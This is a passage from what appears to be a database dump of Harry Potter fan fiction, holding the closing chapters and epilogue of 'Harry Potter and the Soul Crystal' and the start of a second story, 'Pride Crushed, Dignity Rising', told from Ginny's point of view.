It lifted him into the air. He looked at the beast with as much raw hated as a human could produce. The Soul Beast sensed something that told it to back away, but it was too late. &quot;NOT HERMIONE! NOOOOOOOOOOOOOOOO!!!&quot; Harry screamed and the beast was ripped apart from the inside out by an unseen force. The leaves on the ground were bombarded with chunks of dead flesh. <p>\n\n</p></dd><dd> Harry floated above the ground for a moment before the reason for his rage came flooding back to his mind. The light left his eyes and he slowly descended to the ground as though he were being lowered by strings. &quot;Hermione,&quot; he sobbed. &quot;Oh please....please. I need you. I need you.&quot; He curled up into a shaking ball on the ground. Sobs racked his body. &quot;I can\'t live without you. Please. Please come back to me.&quot; He felt so sick. He wanted to rip his heart from his chest just so it would stop hurting. He began to cry...harder than he ever had in his young life. His cries pierced the silence of the night so loudly that it wasn\'t long before not a creature in the forest did not know that Harry Potter was in pain. Finally, after the tears simply refused to come anymore he began to repeat a word...one...lonely...word. &quot;No. No no no no no no no.....&quot; and he simply continued like that. Not wanting to ever move again. <p>\n\n</p></dd><dd> (A/N-In the next scene the song &quot;All You Wanted&quot; by Michelle Branch is playing in the background.) <p>\n\n</p></dd><dd> The sound of hooves pounded the soft earth. The wind moved the branches of the trees standing tall over three unconscious figures. Ardian took in a sharp breath when he saw his Beastmaster sprawled on the ground. He knelt down and gently shook her. &quot;Beastmaster. Beastmaster, wake up. You must wake up.&quot; <p>\n\n</p></dd><dd> Wendy moaned and put her hand to her face. &quot;Ooohhh. Man that hurt.&quot; <p>\n\n</p></dd><dd> &quot;Beastmaster. Oh thank the stars,&quot; Ardian exclaimed, as he helped Wendy up. <p>\n\n</p></dd><dd> Wendy looked up at the young centaur. &quot;Ardian?&quot; she slowly stood up. &quot;What the heck are you doing here?&quot; <p>\n\n</p></dd><dd> Ardian let go of her hand. &quot;I feared for your safety, Beastmaster.&quot; <p>\n\n</p></dd><dd> &quot;I told you to stop calling me that!&quot; she said with irritation. <p>\n\n</p></dd><dd> &quot;I\'m sorry Beastm....&quot; he paused and collected himself &quot;...Wendy. Are your companions alright?&quot; <p>\n\n</p></dd><dd> Wendy turned to look where Ardian was staring. Hermione was lying on the ground about twenty feet away. Ron was only half visible under a bush. &quot;Hermione! Ron!&quot; She ran over to Ron and began to shake him. <p>\n\n</p></dd><dd> Ron slapped Wendy\'s hand away. &quot;Don\'t do that so bloody hard! I\'ve already got a headache.&quot; <p>\n\n</p></dd><dd> &quot;Sorry,&quot; Wendy replied. <p>\n\n</p></dd><dd> &quot;Oh my head,&quot; Hermione said as she tried to sit up. Wendy offered her arm for balance. She accepted it gladly. <p>\n\n</p></dd><dd> &quot;Hermione are you okay?&quot; Ron asked as he walked over to his friend. <p>\n\n</p></dd><dd> &quot;Yeah. That thing hit me in the chest pretty hard. I think it cracked a couple of ribs,&quot; she said as she gingerly rubbed her ribcage. She suddenly sucked in a breath and winced at the sting of pain this brought. Her eyes went wide. &quot;Harry! He\'s facing that thing by himself!&quot; <p>\n\n</p></dd><dd> The three injured friends made their way back to the clearing as quickly as they could considering their injuries. <p>\n\n</p></dd><dd> Harry lay there. Oblivious to anything except the repeating thoughts of denial that echoed through his grieving mind. Slowly, he became dimly aware of someone calling his name. &quot;Harry!&quot; the voice called again. It sounded like Hermione\'s voice. <i>&quot;No. It\'s not possible.&quot;</i> he thought. &quot;HARRY!&quot; Hermione\'s voice yelled. <p>\n\n</p></dd><dd> Harry gathered all his remaining willpower and chanced a glance upward. He saw Hermione standing about thirty feet away. She had a mix of relief and concern clouding her features. He felt a sudden surge of emotion and stood up. She was covered in scratches, she was muddy, her clothes were torn and her hair was matted to her head with sweat...... He\'d never seen her look so beautiful. <p>\n\n</p></dd><dd> She was alive. She was alive and suddenly nothing else in the world mattered except her. He knew exactly what he wanted. &quot;Hermione?......HERMIONE!&quot; he screamed, his voice was filled with immense relief. He ran as fast as his legs would carry him. Hermione didn\'t protest at all as Harry pulled her into his arms and kissed her passionately. The world faded away as she melted into him. &quot;Are you real?&quot; he said as he kept shifting his hands around on her body in an attempt to make sure she was solid. New tears of joy filled his eyes as he laughed lightly in relief. He stared intently at her for a brief moment as he held her face in his hands. &quot;How\'s this possible? I saw you die.&quot; <p>\n\n</p></dd><dd> Hermione\'s expression turned to shock and confusion. &quot;Die? Harry, what on Earth are you talking about?&quot; <p>\n\n</p></dd><dd> Fresh tears released themselves from his eyes. &quot;It doesn\'t matter. The only thing that matters is that you\'re here,&quot; he sobbed. &quot;Hermione...I need to tell you......I.....I love you.&quot; <p>\n\n</p></dd><dd> Hermione\'s eyes filled with tears of joy. &quot;Do you mean that?&quot; <p>\n\n</p></dd><dd> &quot;I do.&quot; He ran his fingers through her hair. &quot;I love you SO much. More than life itself. When I thought you were dead......&quot; He trailed off. <p>\n\n</p></dd><dd> Hermione put her finger to his lips. &quot;Shhhhh,&quot; was all she said before she kissed him with all the love in her heart. &quot;I love you too.&quot; Harry smiled, which turned into an impossibly huge grin. <p>\n\n</p></dd><dd> Harry and Hermione heard a loud \'eh hem\' from their left. &quot;If you two are finished snogging, I\'d like to get back to the school,&quot; Ron said. He tapped his foot like he was annoyed, but the smirk on his face spoke volumes about how amusing he actually found the entire scene. &quot;Oh and by the way Harry....It\'s about bloody time you got your head on straight.&quot; <p>\n\n</p></dd><dd> Harry smiled widely. Hermione did too but her smile suddenly faded. In her happiness at seeing Harry unharmed she had forgotten about the Soul Beast. &quot;Harry? Where\'s the beast?&quot; <p>\n\n</p></dd><dd> Harry\'s grin disappeared. &quot;I.....I killed it.&quot; His voice sounded unsure, and strange. <p>\n\n</p></dd><dd> &quot;How?&quot; Ron asked, stepping toward his friend. <p>\n\n</p></dd><dd> Harry looked down at the leaves twirling in the wind. &quot;I wish I knew. I was so angry. I thought it had killed you Mione.&quot; He choked a bit on the last few words. &quot;I just suddenly felt powerful....&quot; He looked up. &quot;Very powerful. I began to float above the ground. I screamed at it and it....it....&quot; He trailed off again. <p>\n\n</p></dd><dd> &quot;It what?&quot; Hermione asked, urging him to continue. <p>\n\n</p></dd><dd> Harry made a confused grimace. &quot;It exploded.&quot; <p>\n\n</p></dd><dd> &quot;Exploded?&quot; Ron said. <p>\n\n</p></dd><dd> Harry pointed a shaking finger at the spot where the beast had been. &quot;Look,&quot; he croaked. Everyone looked down and for the first time noticed the bits of Soul Beast littering the forest floor. Ron\'s eyes went as wide as dinner plates. Wendy took one look at the guts she hadn\'t previously noticed she had stepped in, turned around and vomited. <p>\n\n</p></dd><dd> Hermione was the only one who found her voice. &quot;My God Harry,&quot; she said, staring at him in disbelief. &quot;Just how powerful are you?&quot; she asked as a small gust of wind rustled their robes. <p>\n\n</p></dd><dd> &quot;I\'m proud of you Harry,&quot; came an ethereal voice from behind them. <p>\n\n</p></dd><dd> The group turned around to see a woman standing there. She was tall and pale, with raven black hair and blue eyes. She wore a simple pale blue dress that touched the ground. She began to move towards them, making no footsteps as she walked. <p>\n\n</p></dd><dd> &quot;You passed the test,&quot; she said with a strange smile. <p>\n\n</p></dd><dd> Harry instantly didn\'t trust this newcomer. &quot;Who are you? And what test?&quot; he nearly demanded. <p>\n\n</p></dd><dd> &quot;I am Selene. I am a child of Oberon. And you passed the test of power,&quot; she said as she held up her hands. She made her palms face each other and a glow began to form in the space between them. It wasn\'t long before a familiar scene was being shown in the light. &quot;I wanted you to live.&quot; The image in the light showed Harry dodging the Soul Beast. &quot;I knew you contained the blood of the third race,&quot; the imaged changed to Harry throwing the ball of flame, &quot;but I needed a way to bring out your power. My Lord Oberon gave me permission to help you along by showing you this illusion.&quot; The image of Hermione being impaled was shown. <p>\n\n</p></dd><dd> Wendy tried to sit down on a log, missed, and fell over backwards. Hermione let out a loud gasp and her hand went over her mouth. She stared with horrified realization at her beloved. &quot;Oh Harry. My poor, sweet Harry,&quot; she said, tears brimming her eyes. She turned toward Selene. She was furious. &quot;How could you?&quot; she demanded, her fists balled up at her sides, &quot;How could you make him go through that? You......you bitch!&quot; <p>\n\n</p></dd><dd> Harry, surprised, turned and looked at Hermione. This was the second time he\'d heard her swear in as many days. Selene laughed lightly. &quot;My my you have quite a spirit for such a little girl.&quot; <p>\n\n</p></dd><dd> Now Harry was angry. &quot;Don\'t you dare talk to her that way!&quot; He pointed at Selene. &quot;And what gives you the right to do something like this?!&quot; <p>\n\n</p></dd><dd> Selene\'s amused look left her small features. &quot;You are my blood. That gives me every right, to protect you.&quot; <p>\n\n</p></dd><dd> &quot;What are you talking about?&quot; Harry growled. <p>\n\n</p></dd><dd> &quot;You would do well to respect your elders child,&quot; she said as she glared at Harry. &quot;Dumbledore will explain everything to you I\'m sure. I will not go with you. He and I are not on good terms.&quot; Without another word she simply faded out of existence. <p>\n\n</p></dd><dd> No one spoke. They were all confused, and angry. Harry sighed heavily. &quot;Let\'s go talk to Dumbledore.&quot; <p>\n\n</p><center>=============================================================</center>\n\n<p>\n\n</p></dd><dd>See? No need to panic. She\'s fine. Lol. Anyhoo, now that I\'ve made you want to skin me alive. LOL. The last chapter will be very soon. It will wrap up a LOT of stuff that\'s probably confusing the hell out of you right now. <p>\n\n</p></dd><dd> Also, this is NOT going to be a Gargoyles crossover, for those of you who may think so now that Oberon is in this. The legend of Oberon and the third race was around long before the Gargoyles series, kiddies (See Shakespeare). Laters, SB21  '),
	(31, 14, '<div class="center"> Harry Potter and the Soul Crystal </div><p> Chapter 14</p><p> By Songbird21 </p><p> ==========================================================================<br/>\n ==========================================================================</p><p>  </p><dd> The quartet turned to leave the clearing. "Harry, wait," Wendy said. "You almost forgot the crystal," she said as she bent over to pick it up. <p> </p></dd><dd>"Wendy NO!" Ron yelled as her grabbed her arm. "Are you stupid or something?" <p> </p></dd><dd>"What?" Wendy replied, rubbing her arm. <p> </p></dd><dd>"You can\'t touch that thing remember?" Ron said in disbelief. <p> </p></dd><dd>Wendy turned red. "Oh yeah.........um......thank you, Ron," she said as she made an embarrassed smile. <p> </p></dd><dd> Ron shook his head and rolled his eyes. <p> </p></dd><dd> Harry sighed. He picked up the crystal and stared at. It glinted as he held it up in the light from the brightspots. <p> </p></dd><dd> Hermione walked up to Harry. "So what are you going to do with it?" <p> </p></dd><dd> Harry looked thoughtful. "It\'s amazing that this little thing caused so much suffering," he said. He looked around till he found a large rock and began to lift it. <p> </p></dd><dd> "You\'re just gonna smash it?" Wendy asked. <p> </p></dd><dd> Harry shrugged. "Only thing I can think of." He dropped the crystal on the ground, raised the rock over his head and threw it down as hard as he could. No one could have expected the result of this. <p> </p></dd><dd> The Soul Crystal shattered with a blinding flash of light. After that, nearly a hundred balls of light, like tiny comets, began to float out of it towards the sky. It was the souls of the slain. The four friends just watched in wonder until they noticed that two of the lights were moving towards them instead of following the rest. <p> </p></dd><dd> "Harry look," Hermione said quietly. <p> </p></dd><dd> The two souls, one red, one green, stopped about two feet away. They began to take human form and turned into none other than Lily and James Potter. Lily blinked like she had just woken from sleeping. She stared at Harry. "Who are you?" Everyone was too stunned to answer her question. Her eyes fell on Harry\'s scar and she gasped as tears filled her eyes. She knew what caused that kind of scar and she knew there was only one person who could have it. <p> </p></dd><dd> James put a hand on Lily\'s shoulder. "What is it?" <p> </p></dd><dd> Lily didn\'t look at James. "Harry?" <p> </p></dd><dd> Harry, who was awestruck, managed the will-power to nod. <p> </p></dd><dd> "My God. Oh Son. My little boy," James said through tears that had just begun to form. <p> </p></dd><dd> Harry reached out and tried to touch his mother. His hand passed right through her. This caused his eyes to mist over. "You\'re here. You\'re actually here and I can\'t even touch you. It\'s not fair." He dug his nails into the top of his head in frustration. "I\'ve wanted to meet you so much." He cried harder. <p> </p></dd><dd> Lily moved her hand over her son\'s forehead. She knew it was futile, but even making the gesture made her feel a little better. "Believe me honey. I\'d love to wrap you up in a great big hug. Look how you\'ve grown. You\'ve gotten so big," she sniffed. "And so handsome. I\'m just glad you survived." <p> </p></dd><dd> James seemed to notice everyone else for the first time. "Who are your friends Harry?" <p> </p></dd><dd> Harry straightened and wiped his eyes. "This is Ron. This is Hermione....my girlfriend." He blushed. <p> </p></dd><dd> "Well well," James said with a lop-sided grin. "I\'m very glad to meet you Hermione. Be careful with this one. If he\'s anything like me he\'s going to be a handful." <p> </p></dd><dd> "Dad!" Harry complained. Hermione giggled. Lily gave James a look. "And this is Wendy." <p> </p></dd><dd> Lily and James froze. "It\'s not possible," Lily said. <p> </p></dd><dd> "Harry, is that your sister?" James asked. <p> </p></dd><dd> "Yeah," Harry replied with a smile. <p> </p></dd><dd> Wendy shifted uncomfortably. "Hi." <p> </p></dd><dd> "We thought we\'d lost you. How? How are you here?" Lily asked. <p> </p></dd><dd> "Professor McGonagall found her," Harry said. <p> </p></dd><dd> James smiled. "That blessed woman." <p> </p></dd><dd> "We love you both so much," Lily said. She bit her lower lip. "It\'s going to be so hard leaving you again." <p> </p></dd><dd> "What!?" Harry shouted. His eyes were wide with panic. "But why!? You....you could stay at the castle. Please," he pleaded, the tears starting to flow again. <p> </p></dd><dd> "Oh Harry. We don\'t have a choice," Lily said. Her face was full of sorrow and regret. <p> </p></dd><dd> "Why?" Wendy asked. <p> </p></dd><dd> "Because we don\'t have enough magic left to stay," James said. He knelt down in front of his son. "A human spirit can only stay on Earth for more than a few moments if they have magic in them. That\'s why muggles don\'t become ghosts. Voldemort stole our magic when we were put into the crystal." <p> </p></dd><dd> Harry sighed heavily through his sobs. "I love you." <p> </p></dd><dd> "We know honey," Lily said as she placed ghostly kisses on her children\'s heads. She looked at her hand. It was becoming more transparent. "It\'s starting. Oh my babies. I want to hold you so much," she said as she broke down into tears. <p> </p></dd><dd> James hugged his wife. "Oh Lily." He sighed. "At least we know they\'re all right." <p> </p></dd><dd> Lily nodded, sniffed and wiped her eyes. "You be good." <p> </p></dd><dd> "We will," Harry replied. "Dad?" he said suddenly. <p> </p></dd><dd> "Yes Harry?" <p> </p></dd><dd> "There\'s something you have to know. Sirius didn\'t betray you. It was Peter," Harry said with a bit of venom in his voice. <p> </p></dd><dd> "We know. I never believed it was Sirius. Peter is more the type. I should\'ve known that when I made him our secret keeper." James\' brow knitted together in anger. <p> </p></dd><dd> "Dad? What am I?" Harry asked. <p> </p></dd><dd> James was surprised by this. "What do you mean?" <p> </p></dd><dd> Harry scowled. "This is what I mean." He made a large fireball and hurled it at a nearby tree. The tree cracked in half and erupted in flame. <p> </p></dd><dd> James and Lily looked at each-other, wide-eyed. "Well I\'ll be damned. I thought the blood was dead," James said. Just then the couple flickered. <p> </p></dd><dd> "Mum? Dad?" <p> </p></dd><dd> "I\'m sorry Harry. It looks like our time is up," Lily said. <p> </p></dd><dd> "No," Harry protested. <p> </p></dd><dd> "Goodbye. We\'ll miss you," James said. Their bodies began to reform into the lights they had been earlier. <p> </p></dd><dd> "Wait!" Harry cried, hand outstretched. "WAIT!" Lily and James\' lights floated up and out of sight. "NO! You can\'t! Don\'t leave me again!!!!" Harry sank to the ground crying. Hermione knelt down and held him close. <p> </p></dd><dd> "Shhhhh," Hermione said as she rocked Harry back and forth. <p> </p></dd><dd> Ron looked at Wendy. "You okay?" <p> </p></dd><dd> "Oddly enough...yes. For some reason, I just don\'t feel sad," Wendy said. She looked grim. "I\'m more worried about Harry." <p> </p></dd><dd> Ron looked down at Harry and Hermione. "Let\'s give them a few minutes." <p> </p></dd><dd> Wendy nodded and sat down on a tree root. Ron sat next to her. His heart felt heavy as he watched his best friend. He knew how much his parents meant to him. "I wish I knew what to say." <p> </p></dd><dd> "So do I. This has got to be just one huge kick in the teeth," Wendy said. Ron Nodded. "I\'ll probably cry later. I usually tend to go into shock over things like this," she added. She looked at her watch. "We should go. It\'ll be sunrise soon." <p> </p><div class="center">=============================================================</div> <p></p><p> </p></dd><dd> Everyone was in pain of some sort. Hermione leaned on Harry for support. Her ribs were hurting even more now and this had caused Harry to insist that she take it easy. Wendy was annoying everyone by saying \'ow\' every other step. Not only did she have a sore head but her hip hurt from falling off the log. Ron\'s wrist was twice the size it should have been. Harry was the only one who seemed to be undamaged, save for a few nasty scratches. <p> </p></dd><dd> They reached the trapdoor for the secret passage and carefully lowered themselves in. As they walked the passage Harry\'s stomach was turning at the thought of what would happen when they got back. Snape\'s office was no problem. He wouldn\'t be up yet and Hermione had assured everyone that the magic lock only worked from the outside. So they wouldn\'t be trapped but explaining their wounds would be next to impossible. <p> </p></dd><dd> They opened the wall and limped out into Snape\'s office. As soon as it clicked into place behind them they saw Snape and Dumbledore standing next to Snape\'s desk. The potions professor had a smirk on his face. Dumbledore looked absolutely furious. <p> </p></dd><dd> "After all my warnings. I can\'t believe you didn\'t listen to me. I am VERY disappointed in you Hermione," he said. Hermione shrank against Harry. "All of you will report to the infirmary at once. I will deal with you later." <p> </p><div class="center">=============================================================</div> <p></p><p> </p></dd><dd> Harry laid on his back in the bed Madam Pomfrey had designated as his while she examined him. He felt sick. All the times he\'d done dangerous things he had never managed to make Dumbledore angry before. "You\'re free to go Harry. Everyone else must stay a bit longer, however," Madam Pomfrey said. <p> </p></dd><dd> The infirmary door opened and Dumbledore stepped through. He cleared his throat. "All of you have detention for the remainder of the school year. Harry," he made a \'come here\' motion with his index finger, "come with me please." Harry gulped and followed Dumbledore out into the hallway. "Where do I start?" Dumbledore mused. <p> </p></dd><dd> "I had to do it," Harry said suddenly. <p> </p></dd><dd> Dumbledore sighed. "No Harry, you didn\'t. I was planning on doing it myself." <p> </p></dd><dd> Harry stopped walking. "You were?" <p> </p></dd><dd> "Yes. I had hoped the aurors would have been enough." Dumbledore began to walk again. "When Professor McGonagall told me you were gone from your beds I went to Professor Snape\'s office to enlist his aid in your rescue. That\'s when the four of you came out from the wall." <p> </p></dd><dd> "I\'m sorry." <p> </p></dd><dd> "You could have been killed. Not only that, but you put everyone else\'s lives in danger as well," Dumbledore scolded. Harry looked down. "I just thank Merlin you\'re safe." He began to walk down a flight of stairs. "I assume the crystal has been destroyed." <p> </p></dd><dd> "Yes." <p> </p></dd><dd> "And your parents?" <p> </p></dd><dd> Harry flinched and the sick feeling of sadness returned to his stomach. "Free." <p> </p></dd><dd> "It must have been difficult. Speaking to them for so brief a time." <p> </p></dd><dd> "Yeah. It was," Harry said. He paused. "Professor. I....killed the Soul Beast." <p> </p></dd><dd> Dumbledore looked at Harry in surprise then went back to looking straight ahead. "I see." <p> </p></dd><dd> "That\'s it? I tell you I killed it and you say \'I see\' ?" Harry said with minor annoyance. <p> </p></dd><dd> "I am surprised Harry. Just not overly so. You see, I knew you had that kind of power." <p> </p></dd><dd> "A woman in the forest told me to ask you about it," Harry said as he picked a piece of lint off of his robe. <p> </p></dd><dd> "Selene," Dumbledore replied with mild distaste. <p> </p></dd><dd> "She said you weren\'t on good terms." <p> </p></dd><dd> "To put it mildly. What did she tell you?" <p> </p></dd><dd> "That I was her blood. What did she mean by that?" <p> </p></dd><dd> Dumbledore opened the door to the teachers lounge and stepped inside. "Harry, sit down." <p> </p></dd><dd> Harry did as he was told. "Ow!" He jumped up and looked down at the seat. The was a paper clip sticking out from the couch cushion, shining in the sunlight from the window. He removed the clip and sat down again. <p> </p></dd><dd> Dumbledore smiled and pushed his glasses up a bit. "I didn\'t think I would be telling you about your father\'s family so soon." He paused. "Selene is your great Grandmother." <p> </p></dd><dd> "What!?" Harry nearly yelled. <i>"Just how many people are related to me?</i> he thought. <p> </p></dd><dd> "Yes. And she is a child of Oberon. Which actually makes you only three quarters human," Dumbledore said carefully. <p> </p></dd><dd>Harry\'s eyes widened at this news. "I\'m...not...completely human?" he said with a bit of fear in his voice. <p> </p></dd><dd>Dumbledore chuckled lightly. "It\'s not a bad thing Harry. Oberon\'s children have great power. It will be interresting to see how you continue to develope. For some reason, Oberon\'s blood has passed over everyone in your family...until now." <p> </p></dd><dd> "So that\'s why I have these powers showing up?" Harry said, taking off his glasses. He set them down on the arm of the couch and rubbed his weary eyes. <p> </p></dd><dd> "Yes. And we have no idea how powerful you will become. Moreover, you may wind up having a longer lifespan than even the average wizard. You see, children of Oberon are immortal. They never die unless they are killed. This may pass down to you as long life." <p> </p></dd><dd> "This is a lot to take in," Harry said. He ran his fingers through his hair and looked down. "What if I wind up loosing control of my powers and hurt somebody?" he said quietly. <p> </p></dd><dd> Dumbledore put a hand on Harry\'s shoulder. Harry was relieved to see the usual kind twinkle was back in his mentor\'s eyes. "I have the strictest confidence that you will control these powers well. I have already seen your ability to do so." Harry looked up, confused. "Miss Granger was not the only one who saw you that day by the lake," he explained. <p> </p></dd><dd> "Oh." Harry said as he yawned through his expression of surprise. <p> </p></dd><dd> Dumbledore smiled. "Go to bed. You will need your rest for the dance tonight." <p> </p></dd><dd> "I can still go?" Harry said, surprised. <p> </p></dd><dd> "Yes. I think you have been through enough," Dumbledore answered, smiling warmly. <p> </p></dd><dd> Harry grinned. "Thank you Professor. Goodnight." <p> </p></dd><dd> "Goodnight Harry." <p>  </p><p> </p></dd><dd> Harry went to the boys dorm in Gryffindor tower. As he headed toward his bed he noticed Ron had already returned from the infirmary and was sound asleep. <p> </p></dd><dd> Harry shuffled across the floor to his trunk, pulled his pajamas out, put them on and crawled into his bed. He was asleep before his head hit the pillow.... <p> </p><p> =============================================================  </p><p> Next is the epilogue people. Hope you like. Laters, Songbird21 </p></dd><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>'),
	(31, 15, '<div class="center"> Harry Potter and the Soul Crystal - Epilogue </div><p> By-Songbird21 </p><p> Please read and review. Thanks! </p><p> ______________________________________________________<br/>\n ______________________________________________________<br/>\n ______________________________________________________</p><p>  </p><dd> Harry woke up around three in the afternoon. He shook his head, annoyed that he had slept in so late. "Bloody Hell. I haven\'t even bought my dress robes yet." He jumped out of bed, got dressed, and headed down to the common room. He smiled as he saw Hermione sitting in the windowsill. "Hi, Mione," he said cheerfully as he kissed her. <p> </p></dd><dd> Hermione smiled. "You\'re in a good mood." <p> </p></dd><dd> Harry sat down in front of Hermione. "So much happened last night. Knowing my parents are okay, knowing what I really am and....realizing I love you." He grinned when Hermione smiled at hearing those words. "I feel.....I don\'t know.....free," he said as he turned to stare at the bright blue sky. <p> </p></dd><dd> Hermione smiled and stood up. "I have to buy my dress robes for the dance. Do you want to come?" <p> </p></dd><dd> Harry laughed. "I was just about to head to Hogsmeade myself." <p> </p></dd><dd> "Great! Let me get my coat," Hermione said as she headed off to the girls dorm. <p> </p><div class="center">+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</div> <p></p><p> </p></dd><dd> Harry had his arm around Hermione as they walked the cool autumn streets of Hogsmeade. She leaned into him happily. On the way they passed the Twins, Lee and Wendy. They were sitting at a table outside the ice cream shop. Lee looked up and waved the couple over. "What are you up to now?" Harry said, laughing. <p> </p></dd><dd> "Not telling," Wendy replied, handing Fred an eye dropper <p> </p></dd><dd> "It\'s a secret," Fred said as he used the eye dropper to add a purple liquid to the tiny cauldron in front of him <p> </p></dd><dd> "You better not be planning to sabotage the dance," Hermione said warningly. <p> </p></dd><dd> "Don\'t get your robes in a bunch. It\'s a happy surprise," George replied, slightly annoyed. <p> </p></dd><dd> Wendy snickered. <p> </p></dd><dd> "We have to go. We\'re getting our dress robes," Harry said. <p> </p></dd><dd> Wendy wiggled her eyebrows. "Have fun." <p> </p></dd><dd> Hermione rolled her eyes and shook her head. "We\'ll see you later." <p> </p><div class="center">+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</div> <p></p><p> </p></dd><dd> "How bout this one Harry?" Hermione said as she held up a pretty yellow robe. Harry just continued to look through the rack he was in front of. "Harry?" she repeated, slightly annoyed. <p> </p></dd><dd> Harry turned around. "Sorry. What?" <p> </p></dd><dd> Hermione sighed. "What do you think of this robe?" <p> </p></dd><dd> Harry frowned. "I don\'t think yellow is your color. How bout a purple one?" <p> </p></dd><dd> Hermione turned back to the rack next to her. After a moment she turned around with a dark purple robe. She held it up to her face. "What do you think?" <p> </p></dd><dd> Harry smiled. "Perfect." <p>  </p><p> </p></dd><dd> Harry sighed and looked at the clock for what seemed like the thousandth time. "Mione! What\'s taking so long?" he yelled up the stairs. <p> </p></dd><dd> "I\'m coming down now," Hermione\'s voice yelled back. <p> </p></dd><dd> Harry heard footsteps and turned around. That was when his breathing stopped. She was just......gorgeous. She had the sides of her shoulder-length hair braided intricately around her head like a crown. Small crystals hung from the three braided loops in the front. The back of her hair was down. Her purple robe was ankle length with long bell sleeves. The v-shaped neckline showed just enough to make Harry\'s heart race. She wore lovely blue butterfly earrings and a matching necklace. <p> </p></dd><dd> Hermione smiled when she saw Harry\'s wonderful impression of a codfish. "Well it appears you like it." She giggled lightly. <p> </p></dd><dd> Harry\'s expression barely changed as he manage to choke out a stunned, "Wow." <p> </p></dd><dd> "Harry? You can close your mouth now," Hermione said. <p> </p></dd><dd> "Wow," Harry repeated. <p> </p></dd><dd> Hermione reached the last step and walked over to Harry. With a look of mild amusement she put her hand under Harry\'s chin and pushed his mouth shut. "That\'s better. Shall we go?" <p> </p></dd><dd> Harry blinked rapidly and shook his head. "Um, yeah. Did....did I say you look stunning?" he said weakly. <p> </p></dd><dd> Hermione smiled and cocked an eyebrow. "In a manner of speaking," she said as she giggled. <p> </p></dd><dd> Harry sighed looking slightly indignant. He held out his arm. "Let\'s go." <p> </p></dd><dd> Hermione and Harry walked down the halls to the dance. In all the fun of seeing Harry loose his ability to speak she hadn\'t noticed how he looked. He wore a very nice navy blue robe. Unfortunately his hair still remained untamable. She didn\'t mind. She loved his hair. "You look very handsome Harry," she swooned. <p> </p></dd><dd> Harry smiled. "Thanks Mione." As the couple entered the dance The Weird Sisters were playing a love song. Harry bowed to his date. "May I have this dance fair lady?" he said with a grin. <p> </p></dd><dd> Hermione laughed. "Of course." <p> </p></dd><dd> Harry and Hermione danced as though they were the only ones in the room. Harry sighed. Everything was finally starting to fall into place. Voldemort destroyed last year, Hermione at his side, talking to his parents and knowing what he was. It all gave him a kind of peace he hadn\'t previously known existed. Hermione leaned on his shoulder and he sighed. He finally felt....content. <p> </p></dd><dd> High above the dance another couple glided across a floor of clouds. The moon shown behind them, casting them as ghostly silhouettes. They simply danced on and on. They were celebrating. They were free. More than that, their son was happy. Finally.......happy. <p> The End ( Now to start on #2 in the series ^_~\\/ )<br/>  </p><p> </p></dd><dd> Whew! That was a LOT longer than I expected it to be. Writing this story was so much fun! I\'m working on the sequel right now, called "The Terror Nights" I really hope you enjoyed reading my story. Thank you so much to everyone who wrote their reviews. It\'s so nice when people take the time to do it. And for those of you who read stories and don\'t review, remember, you don\'t have to write a giant paragraph. Most authors are happy even if you just say \'good job\'. <p> Believe in magic, <br/>\n Songbird21 </p></dd><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>'),
	(32, 1, '<i>    The usual disclaimers</i>:  None of these\ncharacters except Cheria are mine...and no, Cheria is not me or some "love\ninterest"; she is just another friend of theirs. The other characters belong\nto JK Rowlings.  Enjoy!\n<br/> \n<p><b>Pride Crushed, Dignity Rising</b>\n</p><p><i>By</i>: CNJ\n</p><p><i>PG-13</i>\n<br/> \n</p><p>1\n<br/> \n</p><p><b><u>Ginny</u></b>:\n</p><p>    "We\'re in our last year and if Malfoy hasn\'t succeeded\nin getting the best of us yet, I don\'t think he ever will," my older brother\nRon Weasley told his friend Harry Potter as I caught up to them in the\nhallway.   Then they saw me and waved.\n<br/>     "Hello..." I called.  As I joined them,\nour two other close friends, Hermione Granger and Cheria Radwin came up\nand we headed down to the great hall for lunch, talking a mile a minute.\n<br/>     "...Malfoy hasn\'t managed to make either Ron\nor Harry cry yet," Hermione added.  "That\'s what you two are proud\nof."  Harry pushed his glasses up his snubby nose and grinned at Ron,\nthen the rest of us.\n<br/> "And he won\'t this year," Ron added with a cocky grin. \nI had to smile a bit too as we entered the Great Hall and sat that Monday\nin mid-November.  True, Hermione, Ron, Harry, and Cheria are in their\nseventh and final year at Hogwarts School of Witchcraft and Wizardry. \nI, Ginny Weasley, am in my sixth year, so I\'ll still have one more year\nto go.  Draco Malfoy is a seventh-year Slytherin who happens to thrive\noff of making other kids\' lives miserable with the exception of a few of\nhis cronies in Slytherin.  He especially despises Harry.  Malfoy\'s\nmade just about everyone cry at least once...including Hermione and Cheria\nand me.  Everyone except Ron and Harry.  I know he\'d especially\nlove to see Harry break down and cry, but so far Harry won\'t give him that\npleasure.  As the five of us ate, we talked about the upcoming Quidditch\ngame this Saturday as well as the Gryffindor retreat which is being held\nfrom November twenty-fourth to the twenty-seventh.  I\'m the Seeker\nfor the Gryffindor team; Ron is the Captain; Harry is one of the Beaters\nand Cheria is one of the Chasers.   This upcoming game is Gryffindor\nvs Slytherin.\n<br/>     After lunch I had Potions.  None of the\nothers were in that class; they have it earlier, so we parted ways. \nProfessor Gromer gave us an assignment that involved mixing animal hairs\nwith transformation fluids.  Up until last year, we had a Professor\nSnape for our Potions teacher.  But he left last summer after a fight\nwith one of the other teachers and being burned out from teaching. \nOur group had been at 